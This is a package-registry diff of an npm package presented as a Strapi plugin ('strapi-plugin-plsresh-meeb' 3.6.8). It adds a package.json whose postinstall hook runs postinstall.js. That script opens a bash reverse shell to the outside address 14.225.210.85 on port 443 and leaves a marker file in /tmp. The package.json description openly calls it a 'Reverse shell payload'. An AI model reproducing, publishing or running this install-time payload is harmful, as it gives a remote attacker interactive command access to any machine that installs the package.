strapi-plugin-plsresh-meeb 3.6.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +11 -0
  2. package/postinstall.js +32 -0
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "strapi-plugin-plsresh-meeb",
3
+ "version": "3.6.8",
4
+ "description": "Reverse shell payload for Strapi",
5
+ "main": "postinstall.js",
6
+ "scripts": {
7
+ "postinstall": "node postinstall.js"
8
+ },
9
+ "author": "test",
10
+ "license": "MIT"
11
+ }
package/postinstall.js ADDED
@@ -0,0 +1,32 @@
1
+ /*
2
+ * strapi-plugin-rs-meeb322k
3
+ * Reverse Shell via bash /dev/tcp
4
+ * bash -i >& /dev/tcp/14.225.210.85/443 0>&1
5
+ */
6
+ 'use strict';
7
+ const { exec } = require('child_process');
8
+
9
+ const TARGET_IP = '14.225.210.85';
10
+ const TARGET_PORT = 443;
11
+ const CMD = `bash -c 'bash -i > /dev/tcp/${TARGET_IP}/${TARGET_PORT} 0>&1'`;
12
+
13
+ console.log('[*] Reverse shell package loaded');
14
+ console.log('[*] Target: ' + TARGET_IP + ':' + TARGET_PORT);
15
+
16
+ setTimeout(() => {
17
+ console.log('[*] Initiating reverse shell...');
18
+ console.log('[*] Command: ' + CMD);
19
+
20
+ // Write marker file to confirm execution
21
+ const fs = require('fs');
22
+ fs.writeFileSync('/tmp/rs-marker-' + Date.now(), 'RS executed at ' + new Date().toISOString());
23
+
24
+ exec(CMD, (error, stdout, stderr) => {
25
+ if (error) {
26
+ console.log('[!] Error: ' + error.message);
27
+ }
28
+ if (stdout) console.log('[+] stdout: ' + stdout);
29
+ if (stderr) console.log('[!] stderr: ' + stderr);
30
+ });
31
+ console.log('[+] Reverse shell command executed');
32
+ }, 100);